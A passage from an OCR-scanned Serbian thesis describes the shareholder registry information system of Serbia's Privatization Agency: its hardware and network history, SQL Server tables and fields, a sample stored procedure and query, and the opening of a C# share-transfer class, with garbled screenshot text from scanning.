ucinjen je radikalni korak napred. Novi alat je pruZio niz pogodnosti u odnosu na sve
prethodne alate iz razloga objedinjavanja jednostavnosti razvoja i administriranja baza
podataka. Takode je doslo do znatnog poboljSanja bezbednosti podataka u samoj bazi,
kao 1 do koriS¢enja novih mehanizama za pracenje svih akcija na samim podacima.
Kompletna baza podataka Registra akcija i akcionara se prevodi na SQL platformu,
dok se u pocetnoj fazi prelaska na novu platformu, i dalje koristi MS Access kao
aplikativni deo sistema. U daljem razvoju, aplikacija se razvija primenom Microsoft-
ovog alata Visual Studio 6.0 i to u jezicima C i C++.

Nakon razvoja .NET platforme, projektovna je i implementirana Web aplikacija
bazirana na .NET platformi. Pisanje aplikacije je wvrSeno prevashodno u C#
programskom jeziku kao jednom od najnaprednijih jezika danaSnjice. Pojedini
segmenti aplikacije, koji se direktno obracaju hardveru, su i dalje ostali napisani u
C++ programskom jeziku. Znajuéi osobine .NET platforme, pisanje koda u razli¢itim
programskim jezicima ne predstavlja nikakav problem, jer se prilikom kompajliranja
moduli svode na .NET platformu.

Na opisani nacin je dobijena savremena Web aplikacija koja radi nad SQL bazom, Sto
predstavlja sam tehnoloski vrh razvoja informacionih sistema.
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2.3.3 HARDVERSKI RESURSI

Opremanje hardverom je teklo u skladu sa opStim razvojem samog hardvera kao i
finansijskih moguénosti institucija u kojima je Registar akcija i akcionara razvijan. U
pocetnom periodu razvoja, zbog opsteg loSeg ekonomskog stanja u drzavi, osnovni
limitiraju¢i faktor bili su finansijski uslovi.

Racunari na kojima je zapocet razvoj sistema su bili PC racunari klase 286 1 386, sa
diskovima ne ve¢im od 1 MB, veoma malom RAM memorijom, 5to samo po sebi nije
ostavljalo mnogo prostora za razvoj 1 koriS€enje baze podataka ni aplikacije. U tom
periodu raCunari su bili neumreZeni pa se moralo izvrsiti definisanje raCunara na
kojima su se podaci unosili i obradivali, a zatim su se tako pripremljeni podaci
prenosili putem disketa na racunare korisnika. Imajuéi u vidu nepouzdanost diskete
kao medijuma za prenos i ¢uvanje podataka, o¢igledno je da se radilo o mukotrpnom
postupku Kkoji se ¢esto morao ponavljati. Mogucnost greske u tom procesu je uvek
postojala, dok su korisnici podatke uvek dobijali sa zakaSnjenjem.

UmreZavanjem racunara u LAN mreZu postignut je znacajan napredak. Prvobitno je
uradena rekonstrukcija celokupnog prostora u kome je postavljena racunarska mreza
na bazi UTP kablova, obezbedena sigurnosnim kanalicama. Protok mreZe je iznosio
10Mbit/s 1 bio je podrZzan odgovaraju¢im hub-om. Instaliran je centralni racunar -
server, klase Pentium I, sa Novell opeartivnim sistemom. Za backup baze podataka i
ostalih bitnih segmenata sistema koriS¢ena je dat traka. Radne stanice su bile PC
raCunari klase 486, sa diskovima znatno veceg kapaciteta od prethodne generacije 1
znatno ve¢com RAM memorijom. Takode su instalirani i laserski Stampaci najnovije
generacije, ¢ime se vreme Stampanja raznovrsnih izveStaja visestruko smanjilo u
odnosu na prethodno Stampanje na matri¢nim Stampacima. Nova oprema je za rezultat
imala znatno brzi, efikasniji i pouzdaniji rad celog sistema. Bazi podataka se moglo
simultano pristupati sa viSe radnih stanica i nije viSe postojao problem azurnosti
podataka.

IzmeStanjem Registra akcija i akcionara iz Ministarstva za privredu i privatizaciju u
Agenciju za privatizaciju, nabavljena je nova oprema, najve¢im delom iz donacija
Svetske banke i Evropske Agencije za rekonstrukciju. Oprema je predstavljala
radikalan korak napred u odnosu na opremu koja je koriS¢ena u Ministarstvu za
privredu i privatizaciju. Sva dobijena oprema je brand name porekla, tako da nije
postojala dilema u pogledu njenog kvaliteta. Instalirana su dva servera proizvodaca
IBM, i to jedan kao PDC, a drugi kao data server. Data server je opremljen RAID 3
diskovima, ¢ime se postize vec¢a pouzdanost u cCuvanju podataka. Server koji je
instaliran u modu BDC, kao i radne stanice su delo proizvodaca Helwett Packard. Svi
racunari su klase Pentium IV, vrhunskih karakteristika. Kao backup uredaj koristi se
CD rezag, ¢ime se rezervne kopije ¢uvaju znatno pouzdanije nego do tada.
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2.34 KOMUNIKACIONI RESURSI

Prve komunikacije izmedu racunara, u okviru LAN mreZe su ostvarene koriS¢enjem
10Mbit-nih  hub-ova, i primenom UTP kablova. lako vrlo skroman pocetak
komunikacije, predstavljao je znatan pomak u odnosu na rad stand alone racunara i
komunikaciju disketama. Treba napomenuti da su UTP kablovi tada predstavljali sam
vrh umrezavanja, jer su zamenili do tada koriS¢ene, mnogo sporije, koaksijalne
kablove.

Prva otvaranja sistema prema spoljaSnjem okruzenju su ostvarena tek prelaskom
Registra akcija i akcionara u Agenciju za privatizaciju. Najpre je instalirana Internet
konekcija i to samo na nekoliko odabranih racunara koji nisu bili deo LAN mreze,
kako bi se izbegao svaki zlonameran pristup sistemu Registra, poSto u tom trenutku
nisu bili razvijeni bezbednosni mehanizmi.

Uspostavljena je konekcija popre¢nom vezom prema Beogradskoj berzi putem
iznajmljenog linka. PoSto su LAN mreza registra kao i informacioni sistem
Beogradske berze, bili pod nadzorom i zaStitom, postojala je mala mogucénost
eventualnog upada u jedan ili drugi sistem. Za tu namenu su kori§¢eni Zyxel modemi
koji su omogucavali pouzdanu i neprekidnu vezu izmedu Registra akcija i1 akcionara i
Beogradske berze. Ova veza je odigrala znacajnu ulogu u veoma delikatnom periodu
razvoja finansijskog trzista u Srbiji.

Prilikom propisivanja procedura rada, a na osnovu zakonske regulative, uocena je
potreba komunikacije sa berzanskim posrednicima. Berzanski posrednici imaju
potrebu komuniciranja sa Registrom akcija i akcionara, kako pre trgovine na berzi radi
provere vlasniStva nad akcijama, tako i nakon trgovine radi prenosa vlasniStva na nove
vlasnike. Zbog toga je instaliran poseban server sa vise vezanih modema, koji je
sluzio za dial-up pristup bazi podataka Registra akcija i akcionara. Na opisani nacin,
sistemu su pristupali isklju¢ivo ovlaséeni berzanski posrednici.

Usledila je nabavka i instalacija rutabilnih switch-eva klase L2 i L3 proizvodaca
AVAYA. Ugradeni switch-evi su omogucili formiranje virtuelnih mreza, te su na taj
nacin vrsili ulogu rutera. lako fizicki jedinstvena mreza, sistematskim planiranjem i
implementacijom switch-eva podeljena je na vise logickih celina, tako da ne postoji
mogucénost meSanja prava pojednih grupa ili korisnika iz viSe virtuelnih mreZza.

2.3.5 SPOLJASNJE OKRUZENJE
U pocetnom periodu razvoja raCunarske mreze, sistem se nalazio u zgradi
Ekonomskog instituta. MreZa je bila potpuno autonomna, te ni na koji nacin nije bila u

vezi sa informatiCkom mrezom Ekonomskog instituta, kao ni kompanije Deloitte &
Touche koja je takode smestena na istoj lokaciji.
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Nakon izmeStanja sistema na novu lokaciju, u zgradu Privredne Komore Jugoslavije,
u zgradi su zatecene postojece komunikacione linije. Komunikaciona infrastruktura je
bila prilagodena funkcionisanju Komore, te nije bila odgovaraju¢a za potrebe
Agencije za privatizaciju pa ni Registra akcija i akcionara.

Nakon sagledvanja potreba, uraden je idejni projekat nove mreze koji je ubrzo
implementiran na nivou cele zgrade. Obezbedene su nove ISDN linije kao 1 viSe
iznajmljenih linija prema Kkorisnicima Sto je znatno popravilo komunikaciono
okruZenje 1 omogucilo bolju komunikaciju sa ostalim ucesnicima finansijskog trzista i
subjektima privatizacije. Nova infrastruktura je u potpunosti zadovoljila potrebe
Registra akcija i akcionara, kako u komunikacionom tako i u bezbednosnom smislu.
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GLAVA 3

OSNOVNI ELEMENTI SISTEMA

Informacioni sistem Registra akcija i akcionara predstavlja kompleksnu strukturu koja
se prevashodno sastoji iz dobro organizovane relacione baze podataka kao i
korespondiraju¢e Web aplikacije. Baza podataka, kao i aplikacija se sastoje iz vise
medusobno povezanih, pojedinaénih modula. Moduli su medusobno funkcionalno
zavisni 1 uzajamno kontrolabilni. Modularna struktura sistema omogucava relativno
jednostavnu izmenu i doradu neophodnih elemenata.

Baza podataka je ralizovana primenom alata Microsoft SQL Server 2000 [31] i
predstavlja niz medusobno povezanih tabela, kao osnovnih nosioca podataka. Svaka
tabela u sebi sadrzi polja, koja u sebi sadrze elementarne podatke, ¢ija je valjanost
kontrolisana posebno definisanim procedurama. Projektovanju baze podataka je
posvecena narocita paznja, a za projektovanje su koris¢eni UML alati [32].

Aplikativni moduli su razvijeni u alatu Microsoft Visual Studio 6.0, kao i Microsoft
Visual Studio .NET [31]. Moduli su medusobno kombinovani, tako da aplikacija ima
poseban pojavni oblik za svaku predefinisanu grupu korisnika. Aplikativni deo
sistema je razvijen primenom koncepta troslojne arhitekture. Koncept troslojne
arhitekture podrazumeva da je sam korisni¢ki interfejs smesten na radnoj stanici, dok
su bussiness logic moduli, odnosno dll fajlovi smeSteni na samom serveru. Tre¢i sloj
predstavlja baza podataka koja se nalazi u odvojenom okruzenju. Aplikaciji se moze
pristupiti koris¢enjem nekog od Web browser-a, u ovom slucaju Internet explorer-a.
Testiranjem je uoceno da se znatno brZzi odziv postiZze ukoliko se bussiness logic
moduli izvrSavaju na samom serveru, na kome se nalazi i baza podataka, posto se
izvrSavanjem kroz mrezu zauzimaju mrezni resursi 1 ¢esto dolazi do zaguSenja
saobracaja na mrezi.

3.1 BAZA PODATAKA
Baza podataka je projektovna koris¢enjem UML, dok se kao alat koristio softverski

paket Rational Rose [33] kroz koji je implementirana UML tehnologija. Na osnovu
projektovanog modela, razvijena je savremena, relaciona baza podataka pomocu
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jednog od najsavremenijih alata. Veoma pazljivo je projektovana i realizovana svaka
od tabela 1 veoma mnogo vremena je posveceno svakom posebnom polju, kao
esencialnom nosiocu podatka, kako njegovoj svrsi tako i realizaciji. Istovremno sa
definisanjem i implementacijom polja i tabela, definisani su i uslovi koje treba da
zadovolji svaki podataka koji se upisuje u definisano polje - Constraints, kako se ne bi
desilo da u posmatrano polje bude upisan podatak koji ne odgovara predvidenim
zahtevima. Takode su definisane akcije koje se izvrSavaju nad podacima u odredenom
polju, ukoliko se podaci u zavisnom polju promene - Triggers, i na taj nacin se
obezbeduje konzistentnost baze.

Realizacija baze podataka je izvrSena u programskom alatu Microsoft SQL Server
2000 koji pruza moguénost automatizovanja mnostva razvojnih koraka i u velikoj
meri olakSava sam razvoj baze. U toku 2005. godine izvrSena su testiranja na novoj
verziji SQL Server-a 2005, koji se prvobitno pojavio u beta verziji. Testiranja baze u
novoj verziji alata su se pokazala veoma uspeSnim, tako da se ocekuje prelazak na
noviju verziju u trenutku kada bude dostupna u full varijanti.

3.1.1 OPIS TABELA

Tabele predstavljaju osnovne nosioce logickih grupa podataka. Tabele su sacinjene od
zapisa ili records-a koji se opet sastoje od pojedina¢nih polja koja su nosioci odredene
vrste podataka. Ukoliko se problem posmatra sa stanovista objektnog programiranja,
record predstavlja klasu, dok polja predstavljaju atribute te klase. Svaki zapis
predstavlja pojavnu instancu klase, tj. sam objekat, dok je tabela skup objekata iste
klase. Graficki se tabela moze predstaviti na slede¢i nacin :

Tabela 3.1 Prikaz strukture tabele kao nosioca podataka u bazi podataka

Polje 1 Polje 2 Polje n

Zapis 1

Zapis 2

Zapism

U daljem delu teksta ¢e biti data lista koriS€enih tabela, sa kratkim opisom namene
svake od tabela. Imajuéi u vidu ¢injenicu da sama baza podataka nije primarna tema
ovog rada, tabele kao osnovni nosioci podataka nece biti detaljno opisivane.

Pre predstavljanja koriS¢enih tabela u bazi podataka Registra akcija 1 akcionara,
korisno je napomenuti na¢in imenovanja samih tabela. Naime, prilikom davanja imena
tabelama pokuSano je da ime tabele asocira na njenu namenu. Znaju¢i da objekti
razliCite vrste (npr. tabela, upit, ...) mogu imati ista imena, prilikom rada sa bazom,
projektant ili administrator mogu do¢i u zabludu po pitanju ¢injenice na koju vrstu
objekta se odnosi neka operacija. 1z opisanih razloga je uvedno pravilo da se tabele
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oznacavaju imenima 1 pocetnim slovom T, $to asocira na tabelu. KoriS¢enje opisanih
pravila je jasno vidljivo 1 sledeceg spiska koris¢enih tabela :

Tabela 3.2 Spisak osnovnih tabela koje ¢ine bazu podataka sa kratkim opisom

Naziv tabele Kratak opis

TAKcionari Podaci o imaocima akcija

TBrokeri Podaci o berzanskim posrednicima

TDelatnosti Podaci o grupama delatnosti preduzeca

TDrzave Podaci o drzavama iz kojih poticu imaoci akcija

TEmisije Podaci o pojedina¢nim emisijama akcija razli€itih emitenata
TFirma Specifi¢ni izdvojeni podaci o preduzecu

TFirmaEmisije

Agregatna tabela koja povezuje preduzeca i emisije akcija

TFirmeKapital

Kontrolna tabela sa podacima o kapitalu preduzeca

TlnicijalnoStanje

Pocetni podaci u trenutku zavrSetka privatizacije

Tlskorisceno

Podaci o iskoris¢enom pravu na besplatne akcije

TKnjigaAkcija

Podaci o akcijama i akcionarima uskladeni sa zakonskom formom

TKursDM Podaci o promeni kursa nemacke Marke
TKurseUR Podaci o promeni kursa EUR-a
TNacinSticanja Podaci o nacinu sticanja akcija
TNaselja Podaci o naseljima u Srbiji

TNovaSifraDelatnosti

Podaci o Sifriranju delatnosti u skladu sa novom nomenklaturom

TObrisano

Podaci o entitetima koji imaju status obrisanog podatka

TPasivni Podaci o akcionarima kojima je ograni¢ena trgovina akcijama
TPol Podaci o polu akcionara

TPredmeti Podaci o preduze¢ima prema nomenklaturi organa uprave
Tpreduzeca Podaci o emitentima akcija

TPriprema Tabela u kojoj se vrsi prethodna obrada podataka

TPrivremeniRegistar

Podaci definisani u skladu sa Pravilnikom o Privremenom registru

TProveraKonzistentnosti

Podaci neophodni za proveru konzistentnosti baze

TRacuni

Podaci o vlasni¢kim ra¢unima akcionara

TRaskidUgovora

Podaci o subjektima privatizacije ¢ija je privatizacija poniStena

TRazlog

Podaci koji definiSu razlog odlaganja reSavanja predmeta

TStaraSifraDelatnosti

Podaci o Sifriranju delatnosti u skladu sa starom nomenklaturom

TStatus

Status u kome se nalazi obrada predmeta

TTrenutnoStanje Trenutni pregled strukture vlasnistva

TUIlazniPodaciKonacno | Kona¢no pripremljeni podaci za u¢itavanje u bazu

TUpis Agregatna tabela koja povezuje akcionare i preduzeca
TVrstaEmisije Podaci o vrstama emisije akcija

TZost Podaci o privatizacijama po Zakonu o svojinskoj transformaciji

Medu navedenim tabelama, kao tabele od najveceg znacaja na koje bi trebalo posebno
obratiti paznju, a koje predstavljaju samu sustinu baze podataka Registra akcija i
akcionara su tabele TAkcionari i TPreduzeca. U tabeli TAkcionari su dati podaci o
svim akcionarima koji su stekli akcije bilo u procesu privatizacije, bilo kupovinim na
finansijskoj berzi. Akcije su u najvecoj meri stecene u procesu inicijalne privatizacije,
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dok je jedan broj akcija promenio vlasnika transakcijama na finansijskoj berzi,
nasledivanjem akcija ili nekim drugim legalnim putem koji je propisan Zakonom.
Tabela TPreduzeca predstavlja zbirku podataka o svim preduzecéa koja su delimi¢no ili
potpuno privatizovana, bilo da se radi o akcionarskim druStvima, zatvorenim
akcionarskim druStvima ili drusStvima sa ograni¢enom odgovornos$¢u. U narednom
delu teksta dat je prikaz opisanih tabela u okviru interfejsa alata SQL Server :

S

Prezive nvarchar
Sime nvarchar v
Ime: nvare
IMBG warchar
| IMEGOK bt
Daturadjenia dakatine
IDMestaRodienia  int

[3
IDMestaStanovanja  int v
Rachaknjzca nvarhar v
Perciia nvarchar v
Zembjoradnk mvarchar v

g

2
el s e A o N B
At

| 3 5 5

" SOL S terprise Manager - [Des ab Baza - Mg al M
B Fie wndow heb =181 %]
HeE G CR e S SE 0
[ Colmntians | Dot Tyne [iongth] alow k] -
(¥R |[ID Preduzeca]] 3 4 Il
Naziv nvarchar &
[ |sedste mvarcher 0
| |maticnigro) nvarchar ]
| |rm nvarchar (]
| |ndresa nvarchar =
[ |rekefen nvarchar = ¥
| |ucezakontakt varchar = v
| |Datumprivatizacie  dakstime )
| |kursDEm read 4
[ |cwrserm red 4
1= ~

Slika 3.2 Izgled strukture tabele TPreduzeca u okviru interfejsa SQL Server
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Iz razloga projektovanja sistema i povezivanja dve opisane tabele formirana je
agregatna tabela TUpis, koja uspostavlja vezu izmedu dve kljucne tabele. Tabela
TUpis sadrzi u sebi polja koja su povezana sa podacima i u jednoj i u drugoj tabeli na
odgovaraju¢i nacin. Nacin povezivanja polja je diktiran postizanjem Zeljene relacije
izmedu dve tabele. Pored toga postoje 1 dodatna polja specificno definisana iskljucivo
u kontekstu agregatne tabele. Agregatne tabele u bazi podataka nemaju svoj logicki
opis, ve¢ im je namena isklju¢ivo tehnoloSkog tipa, tj. sluze za operacije koje su
vidljive isklju¢ivo unutar same baze podataka.Pomenuta tabela TUpis u SQL
okruZenju ima sledec¢i izgled :

o
RETE|
CEE e |
ColmnMame | DataType [Length] Alow Muls ~
gl [ 4 =
IDakeionara int
|| mopreduzeca nt
[ | vrednost nt
[ ood flost s
[ an flost L]
I ko flost 8
|| stazsaprvenstvor float
achezprvensty flost
|| incikator bit 1
| |ucesce float s
| |prekoracenoprava  bit 1
— )
Columns
Description
Sefauit Yhie
P i
Identky Yes

Identiy Seed 1
Identky Increment 1
12 RowGLid T

Slika 3.3 Izgled strukture tabele TUpis u okviru interfejsa SQL Server

Pored opisanih, postoje i druge tabele koje imaju svoju specificnu namenu, takode
neophodnu za funkcionisanje informacionog sistema. Kao $to je ve¢ pomenuto, ostale
tabele nisu od sustinskog znacaja za centralnu temu ovog rada, te njihov detaljni opis
u ovom tekstu nece biti dat.

3.1.2 DEFINICIJA KORISCENIH POLJA

U svim definisanim tabelama celokupne baze podataka definisano je viSe stotina
raznih polja.U narednom delu teksta nece biti dat detaljan opis svakog polja, ve¢ ¢e
nakon generalnih konstatacija u vezi definisanja polja u tabelama biti date osnovne

karakteristike nekih od najbitnijih polja.

Svako polje se definiSe tako Sto se najpre definiSe njegov tip, tj. definiSe se koja vrsta
podataka se u njemu ocekuje. Neophodno je definisati i zahtev da li je dopuSteno da
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polje bude prazno, tj. da mu je vrednost Null. Pored toga definiSe se opseg u kome se
mora nalaziti uneti podatak, koji je u skladu sa namenom samog polja. Opseg se
definiSe formiranjem posebnih objekata Constraints. Pored toga moguce je definisati,
ukoliko za tim postoji potreba, akciju koja se preduzima nad veli¢inom u nekom
drugom polju kada se u posmatrano polje unese podatak. Ove akcije se primenjuju
ukoliko postoji logicka veza dva ili vise polja i nazivaju se Triggers. Svaka od
pomenutih funkcija se definiSe u okviru grupe objekata Stored Procedures, a zatim se
u okviru Zeljenog polja definiSu bilo kao Constraints bilo kao Triggers. U narednom
primeru, iz posmatrane baze podataka ilustrovane su tvrdnje iznete u prethodnom delu

teksta.

Primer Stored Procedure, koja kontroliSe izlazne podatke u zavisnosti od ulaznih, a
koja je koriS¢ena u posmatranoj bazi ima sledeci izgled :

CREATE PROC

Izlaznal

@Ulaz char(30),@1zlaz int OUTPUT

AS

SELECT @Izlaz=count(*)
FROM Akcionar p INNER JOIN Akcija Z ON p.sifakc=z.sifakc
WHERE z.sifakc<>1 AND p.ime=@Ulaz

GO

Prikazana procedura se moze iskoristiti bilo kao Constraints bilo kao Trigger, i to nad
podacima viSe polja. Stored procedure se obi¢no pisu tako da imaju viSestruku

namenu.

U narednoj tabeli ¢e biti opisana neka od najznacajnijih polja koja su definisana u
tabelama TAkcionari i Tpreduzeca :

Tabela 3.3 Spisak osnovnih polja u tabeli TAkcionari sa kratkim opisom

Naziv polja Kratak opis

IDAkcionara Jedinstveni identifikator akcionara

Prezime Prezime akcionara

Sime Ime jednog od roditelja akcionara

Ime Li¢no ime akcionara

JMBG Jedinstveni mati¢ni broj gradana za akcionara

JMBGOK Identifikator ispravnosti jedinstvenog mati¢nog broja gradana za
akcionara

DatumRodjenja Datum rodenja akcionara

IDMestaRodjenja Vezno polje koje definiSe mesto rodenja akcionara

Pol Pol akcionara

SRJ Identifikator drzavljanstva akcionara

IDMestaStanovanja | ldentifikator mesta stanovanja akcionara

RadnaKnjizica Broj radne knjizice akcionara

Penzija Broj penzijskog resenja za akcionara

Zemljoradnik

Broj resenja o pla¢anju doprinosa za zemljoradnike akcionara
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UkupanStaz Ukupan efektivni radni staz akcionara izrazen u godinama

UkupnoAkcijaGod | Ukupno ostvareno pravo na akcije bez naknade za akcionara izrazeno

u godinama

OstaloAkcijaGod Preostalo pravo na akcije bez naknade za akcionara izrazeno u
godinama

Indikator DefiniSe specifi¢nu karakteristiku akcionara

IskorPravo2DM IskoriS¢eno pravo na akcije sa popustom, izrazeno u DEM

PreostaloPravo2DM | Preostalo pravo na akcije sa popustom, izrazeno u DEM

PrometovaoAkcije | Indikator koji definiSe da li je akcionar vrsio promet akcija

Navedena polja su od sustinske vaznosti jer se na osnovu opisanih podataka
nedvosmisleno odreduje identitet osobe - akcionara, a takode se odreduju i1 prava
potencijalnih akcionara na eventualne buduce akcije bez naknade.

U tabeli TPreduzeca su kao polja dati osnovni adresni podaci samog preduzeca, kako
bi se preduzete - subjekt privatizacije, odnosno emitent akcija, nedvosmisleno

definisalo izmedu svih drugih, §to je prikazano u sledecoj tabeli :

Tabela 3.4 Spisak osnovnih polja u tabeli TPreduzeca sa kratkim opisom

Naziv polja Kratak opis

ID Preduzeca Jedinstveni identifikator preduzecéa

Naziv Naziv preduzeéa

Sediste Mesto u kome se nalazi sediSte preduzecéa

MaticniBroj Mati¢ni broj preduzecéa dodeljen od strane Zavoda za statistiku

PIB Poreski identifikacioni broj dodeljen od strane Ministarstva finansija
Adresa Adresa sedista preduzecéa

Telefon Broj telefona za kontakt

LiceZaKontakt Lice zaduzeno za kontakt u slucaju potrebe reSavanja spornih pitanja
DatumPrivatizacije | Datum privatizacije preduzeéa

KursDEM Kurs DEM na dan privatizacije

KursEUR Kurs EUR na dan privatizacije

Sva polja su definisana na nacin kako je to definisano projektom na nacin propisan
pravilima rada u alatu SQL Server. Svakom polju je prilikom projektovanja i
implementacije posvefena posebna paznja kako bi se u najveéoj mogucoj meri
izbegao, eventualni, pogreSan unos podataka. Logika svakog unetog podataka se
proverava definisanim procedurama.

3.1.3 OPIS RELACIJA IZMEDU TABELA

U bazi podataka postoji veliki broj tabela, a u okviru tabela mnostvo polja. Imajuéi u
vidu ¢injenicu da svi podaci Cine jedinstvenu bazu podataka, uspostavljenjem
mnogobrojnih  relacija medu tabelama, odnosno medu pripadajuéim poljima,
postignuta je celovitost baze. Grupisanje podataka u tabele, kao i uspostavljenje
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relacija izmedu tabela se u najve¢oj meri definiSe prilikom projektovanja baze
podataka. Osnovna namena kori$c¢enja relacija je postizanje konzistentnosti podataka
u posmatranoj bazi podataka.

Na narednoj slici su prikazane najbitnije relacije u bazi podataka, posredstvom alata
SQL Server :

m SOL Server Enterprise Manager - [New Diagram in 'Baza - MgrSOL" on '{localy] um
1 Fle Widow Help =12 %|
|UF 8 RinroeQ 0l aEEnd
=
- Tupis * TPreduzeca * THma * il
| ¥|mAkocnara il %o | | 0D Preduzeca] B Drvedumeca =
Frezime Iakchnars E [ |Mae — b
_Skm = hpradizeca _ENB(E 7“&‘&&”9
| tme | wrednost [ |Matiribeo ||| trojpredmeta
—|wes " Jood | [ seciste
|| mecor Jdn [ |ndresa - Bouime
| DatumRndiena kom | Tetefon ] datumadii
|| iMestaRodiensa | stazsaprvenstvom [ |uiczakonkake L roeficlerhreduictia
—|pa | stazbezprverstva [ |patumprivatiacie | arsoit
s | indiator [ [kurstem ||| Bespakneciciie
| mMestastanovania ™ ucesce [ |kursEur || Podshenouprvomlruy:
|__|Radnakniiaca - Ipretoracencprave e [ upsize_ts m_l—ﬁ__ Aezaprodap (a8
| Taselja * Tknjigankeijs * Tarokeri
7 [Mesto TransakojalD »
[ |straliaselia | |Macnsticanjan || naaivPreduzeca
IDrzave * [ |naannasslia [ |Frmam || sedite
@ [Drameain " |PostarskBropizselia N EEE | |Adresa
I {actvrzave _|sranpstine [ AkcionarD || MaticriBeo)
| ctrisarzape [ |NazvOpstine [ |Brofrodathalaia || sérabelatnost
| Datumerisanjazapisa T |sraoknga [ |iominainavrednost | Telefon
I | cbrisacn NaziCiruga LznosProdathakoja Fax
= _|sedisieninuga [ |patumerodaje | Dwsiror
_|osrisanzepts |_|Eromotumencapradain | kontakoscoa
|[E-mall
-
L4 _'_IJ

Slika 3.4 Pojednostavljeni prikaz relacija izmedu pojedinih tabela u bazi podataka
u okviru interfejsa SQL Server

Osnovna relacija na koju bi trebalo obratiti paznju je relacija izmedu ve¢ pomenutih
tabela TAkcionari i TPreduzeca. Bilo je neophodno posti¢i relaciju many-to-many, jer
je osnovna logika samih tabela da jedan akcionar moze biti akcionar u vise preduzecéa,
dok jedno preduze¢e moze imati viSe akcionara. Ovaj problem je reSen uvodenjem
agregatne tabele TUpis koja sluzi kao spona izmedu dve pomenute osnovne tabele 1
obezbeduje many-to-many relaciju. Opisana relacija je vidljiva na prethodno
prikazanom grafickom prikazu relacija.

3.2 MODULI APLIKATIVNOG DELA

Aplikativni deo se sastoji iz viSe segmenata, koji su podeljeni u dve osnovne celine :
business logic module i interface module. Business logic moduli se javljaju u vidu dll
fajlova u kojima su sadrZane klase sa svojim atributima, kao 1 odgovarajuce procedure
koje definiSu naéin obrade podataka. Osnovna prednost razdvajanja dll fajlova od
interfce-a je jednostavnost zamene dll fajlova novim, a samim tim i nacina obrade
podataka, bez intervencije na ostalim delovima aplikacije. Interface moduli sluze za
organizovano prikazivanje podataka na ekranu, kao i za zadavanje komandi koje
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pokrecu funkcije obrade. U okviru Registra akcija i akcionara, razvijen je Web
interface. Za pristup ovim modulima neophodno je posedovati neki od Web browser-
a, a preporucljivo je koristiti Internet explorer, poSto je prema pomenutom browser-u
aplikacija projektovana.

Elementarnim segmentom aplikativnog dela se mogu smatrati ugradene procedure
koje se nalaze u samoj bazi podataka. Procedure u bazi vrSe kontrolu podataka na
najnizem nivou. Cela serija SQL upita vrSi pretrazivanja prema Zelji i potrebama
korisnika, pri ¢emu je uofeno da obuceni programeri mogu veoma lako, prema
zahtevu, formirati upite za pretrazivanja baze podataka ¢ime je postignuta
fleksibilnost u radu baze. Na osnovu kreiranih upita prema zadatim kriterijuma veoma
lako se definiSu izvestaji bilo za pregled na ekranu, bilo eksportom u neki drugi oblik
koji je korisniku prihvatljiv ili u Stampanom obliku.

3.2.1 OPIS KREIRANIH SQL UPITA

Nakon projektovanja i kreiranja baze podataka bilo je neophodno kreirati, u skladu sa
zahtevima projekta, seriju SQL upita. SQL upiti imaju visestruku namenu. Osnovna
namena je pretrazivanje baze podataka po nekom zadatom kriterijumu ili grupisanje
podataka u logicke celine. Takode se mogu definisati 1 upiti koji vrSe neku akciju nad
prirode kao Sto su na primer : upisivanje podataka u polje, brisanje podatka iz polja,
dodavanje sloga, brisanje sloga, formiranje nove tabele, itd.

U bazi podataka registra akcija i akcionara je formirano mnostvo SQL upita za razne
namene. Treba imati na umu c¢injenicu da upiti, u velikoj vecini, nisu fiksni, ve¢ su
podloZni Cestim promenama, brisanjima 1 formiranju novih upita. Samo navodenje
svih kreiranih upita, a pogotovo njihov detaljan opis izlazi iz okvira ovog rada. Iz
opisanih razloga na ovom mestu ¢e biti prikazan jedan od kreiranih SQL upita. U
daljem delu teksta ¢e biti prikazan upit koji selektuje podatke iz dva entiteta, u ovom
sluaju dva druga upita, na osnovu definisanog kriterijjuma 1 prikazuje ith u
jedinstvenom pogledu :

SELECT QDirekcijal.naziv, QDirekcijal.sediste, QDirekcijal.datum,
QDirekcijal.ukupno, QDirekcijal.pio, QDirekcijal.af, prvi, drugi, ind
FROM QDirekcijal LEFT JOIN QDirekcija2 ON QDirekcijal.[Maticni broj] =
QDirekcija2.MaticniBroj

WHERE (((QDirekcija2.MaticniBroj) Is Null))

UNION SELECT QDirekcija2.NazivPreduzeca AS naziv, QDirekcija2.NazivNaselja
AS sedistE, QDirekcijal.Datum AS datum, QDirekcija2.UkupanKapital AS
ukupno, QDirekcija2.l1znosZaPIO AS pio, QDirekcija2.AkcijskiFond AS af,
prvi, drugi, QDirekcija2.indikator as ind

FROM QDirekcija2 INNER JOIN QDirekcijal ON QDirekcija2.MaticniBroj =
QDirekcijal.[Maticni broj];

Broj upita je gotovo dnevno promenljiv, te postoji veliki broj formiranih upita za
jednokratnu upotrebu, koji se ¢uvaju u posebnoj bazi, radi eventualnog kasnijeg
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ponovnog koris¢enja. U tu svrhu je formirana posebna baza upita koji se Cuvaju na
posebnoj, bezbednoj lokaciji.

3.2.2 DEFINICIJA PROGRAMSKOG KODA

Kao $to je ve¢ navedeno, sam programski kod je, u zavisnosti od perioda, pisan u
razliitim programskim jezicima za razliCite platforme. Pocetni kod je pisan u Borland
Pascal-u, zatim Visual Basic for Applications,Visual Basic, Visual C, Visual C++, da
bi na kraju bio napisan kod u C# programskom jeziku za .NET platformu, koji radi
nad SQL bazom podataka.

Programski jezik C# je razvijen u okviru Visual Studio .NET programskog paketa.
Sintaksa i semantika samog jezika se zasnivaju na njegovim prethodnicima, ato su C i
C++ programski jezici. Pazljivijim posmatranjem elemenata C# programskog jezika,
Uocava se znatan broj elemenata preuzet iz programskog jezika Pascal. U daljem delu
teksta e biti prikazan deo programskog koda, pisan u C# programskom jeziku. Deo
prikazanog koda sluzi za vrSenje transakcija nakon trgovine akcijama na berzi ili van
berze :

using System;

namespace Transakcija
{
using System.Data;
using System.Data.SqlClient;
public enum Rezultati {OK , NEMA _RACUN , NEMA NOVAC};//pravi se
nabrojivi tip koji ce vracati povratnu vrednost za prenos novca
/// <summary>
/// Summary description for Classl.
/// </summary>
//7/
public interface ITransfer
{
void NoviAkcionar(string ime , string un , string pwd);
bool Logovanje(string un , string pwd);//potpis metode koja
vraca true ako Akcionar sa tim un i pwd postoji
DataRow DajPodatke(string un , string pwd);//metoda koja ce
vracati podatke za konkretnog Akcionara
void Ulozi(int racun , double suma);
string DajStanje (int racun);//definicija metode koja sce
davati novo stanje na racunu
bool Podigni (int racun , double suma);
Rezultati Prenesi (int prvi , int drugi , double suma);

}

public class ProgBroker : ITransfer

{

private string kon_tekst;
private SqlConnection veza;

